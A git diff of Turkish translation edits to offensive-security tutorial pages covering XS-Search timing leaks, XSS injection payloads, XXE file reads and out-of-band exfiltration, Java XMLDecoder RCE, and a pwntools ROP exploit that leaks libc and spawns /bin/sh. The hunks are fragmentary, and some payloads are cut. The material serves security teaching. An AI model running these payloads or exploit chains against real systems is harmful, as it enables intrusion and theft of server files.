xs-search/performance.now-+-force-heavy-task.md - **Özet:** [SharedArrayBuffer saati](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers), bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir. - **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği anda meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir. +Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği zaman meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir. ### Sandboxed Çerçeve Zamanlaması + onload @@ -121,7 +121,7 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org - **Özet:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API'si, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir. - **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in `onload` işleyicisi, yalnızca kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan ` @@ -131,12 +131,12 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org - **Inclusion Methods**: Frames - **Detectable Difference**: Sayfa İçeriği - **More info**: -- **Summary**: Eğer doğru içerik erişildiğinde sayfanın hata vermesini sağlayabilir ve herhangi bir içerik erişildiğinde doğru bir şekilde yüklenmesini sağlayabilirseniz, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz. +- **Summary**: Eğer doğru içerik erişildiğinde sayfa hatası verebiliyorsanız ve herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz. - **Code Example**: -Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleyebilirsiniz**. +Farz edelim ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleyebilirsiniz**. -**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz. +**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde _**onload olayı**_ her zaman en az bir kez **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz. Örneğin: @@ -145,14 +145,14 @@ Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleye Eğer ilk URL **başarıyla yüklendiyse**, o zaman **URL**'nin **hash** kısmını **değiştirirken** **onload** olayı **tekrar tetiklenmeyecek**. Ama **eğer** sayfa **yüklenirken** bir tür **hata** almışsa, o zaman **onload** olayı **tekrar tetiklenecektir**. -Sonra, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz. +Böylece, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz. ### Javascript Execution - **Inclusion Methods**: Frames - **Detectable Difference**: Sayfa İçeriği - **More info**: -- **Summary:** Eğer **sayfa** **hassas** içeriği **dönüyorsa**, **veya** kullanıcı tarafından **kontrol edilebilen** bir **içerik** dönüyorsa. Kullanıcı **geçersiz durumda** **geçerli JS kodu** ayarlayabilir, her denemeyi **``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: -- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. -- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır): +- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. +- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını** ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.\ +Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ **Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} @@ -92,7 +92,7 @@ js-hoisting.md ### Javascript Function -Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden** uç noktalar içerir. Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`. +Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`. Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır: @@ -114,7 +114,7 @@ parentElement ``` Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`. -Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir. +Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır. Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir: @@ -132,7 +132,7 @@ dom-xss.md ### **Evrensel XSS** -Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\ +Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\ Bazı **örnekler**: {{#ref}} @@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF atlatma kodlaması resmi +## WAF atlatma kodlama resmi ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Ham HTML içinde enjekte etme -Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ +Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ -_**Not: Bir HTML yorumu `-->` ile veya `--!>` ile kapatılabilir.**_ +_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_ -Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz: +Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz: ```html ``` -SVG format, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular. +SVG format, sunucu yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular. Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin! @@ -348,7 +348,7 @@ Aşağıdaki gönderiyi okuyarak **bir PDF dosyasını yükleyerek XXE'yi nasıl file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} -### Content-Type: x-www-urlencoded'dan XML'e +### İçerik Türü: x-www-urlencoded'dan XML'e Eğer bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi istismar etmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa: ```xml @@ -408,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ederse çalışır. ### UTF-7 -Burada \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için kullanabilirsiniz. +Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -444,7 +444,7 @@ DTD örneği: %abt; %exfil; ``` -## PHP Sarıcılar +## PHP Sarıcıları ### Base64 @@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` -Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir. +Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir düzeyde etkileşim olduğunu gösterir. Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir: ``` @@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır. +Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır. -Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır: +Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için, Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır: ```xml "> %foo; %xxe; ``` -Sunucu, önemli bir şekilde mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor ve sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor: +Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -563,7 +563,7 @@ Saldırganın sunucusuna basit HTTP isteği ``` -### Dosya oku +### Dosyayı oku ```xml @@ -609,7 +609,7 @@ PHP base64 filtresi kullanarak ``` ## Java XMLDecoder XEE to RCE -XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde edecektir. +XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder. ### Using Runtime().exec() ```xml @@ -671,13 +671,17 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır ``` -## Araçlar +## XXE + WrapWrap + Lightyear + bypasses + +Bu harika rapora bir göz atın [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/) + +## Tools {{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}} -## Referanslar +## References - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index 86d33e497..a517cdcda 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -7,7 +7,7 @@ 1. **Taşma** **ofsetini** **bul** 2. **POP_RDI** gadget'ını, `PUTS_PLT` ve `MAIN`'i **bul** 3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me)) -4. Kütüphane ile, **ROP'u hesapla ve istismar et** +4. Kütüphane ile, **ROP'u hesapla ve bunu kullanarak istismar et** ## Pratik için diğer eğitimler ve ikili dosyalar @@ -35,7 +35,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ## ROP - LIBC Sızıntı Şablonu Saldırıyı gerçekleştirmek için burada bulunan kodu kullanacağım.\ -Saldırıyı indirin ve bunu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: +Saldırıyı indirip, savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: {{#ref}} rop-leaking-libc-template.md @@ -58,7 +58,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolunda** `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al: +**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al: ```python from pwn import * cyclic_find(0x6161616b) @@ -84,14 +84,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\ -`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\ +`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **ana fonksiyonu** tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır**.\ **POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir. Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır. ## 3- libc kütüphanesini bulma -Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız. +Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün bulunduğunu **arama** yapacağız. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -125,11 +125,11 @@ Bunu yapmak için, yürütülen kodun en önemli satırı şudur: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\ -Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ +Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek içindeki adresi**) **okuyacak** ve **yazdıracaktır**.\ Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz. -Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içindeki **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. +Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içinde bulunan **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. ![](<../../../../../images/image (141).png>) @@ -182,13 +182,13 @@ __libc_start_main read gets ``` -## 4- Bulunma tabanlı libc adresi ve istismar +## 4- Bulunma temelli libc adresi ve istismar -Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` +Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şu şekilde değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` -**libc kütüphanesine** **yolu** vererek, **istismarın geri kalanı otomatik olarak hesaplanacaktır**. +**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacaktır**. `get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacaktır: ```python @@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. -Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir. +Daha sonra, `system` fonksiyonunun adresi ve _"/bin/sh"_ dizesinin **adresleri**, **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -208,7 +208,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` -Sonunda, /bin/sh yürütme istismarı hazırlanacak. +Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -219,26 +219,26 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Son ROP'u açıklayalım.\ -Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **overflow**'u **yeniden istismar edebiliriz** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"**'nin **adresine** işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü **"/bin/sh"**'nin adresi bir parametre olarak geçecektir.\ -Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde** **sonlanır** ve herhangi bir uyarı üretilmez. +Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **addres** _"/bin/sh"_ (`BINSH`) işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\ +Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzelce çıkar** ve herhangi bir uyarı üretilmez. -**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\* +**Bu şekilde istismar bir _/bin/sh**_ shell'i çalıştıracaktır.** ![](<../../../../../images/image (143).png>) -## 4(2)- ONE_GADGET KULLANMA +## 4(2)- ONE_GADGET KULLANARAK -Ayrıca, **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmek için [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanabilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ -Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. +Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ +Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. ![](<../../../../../images/image (615).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + 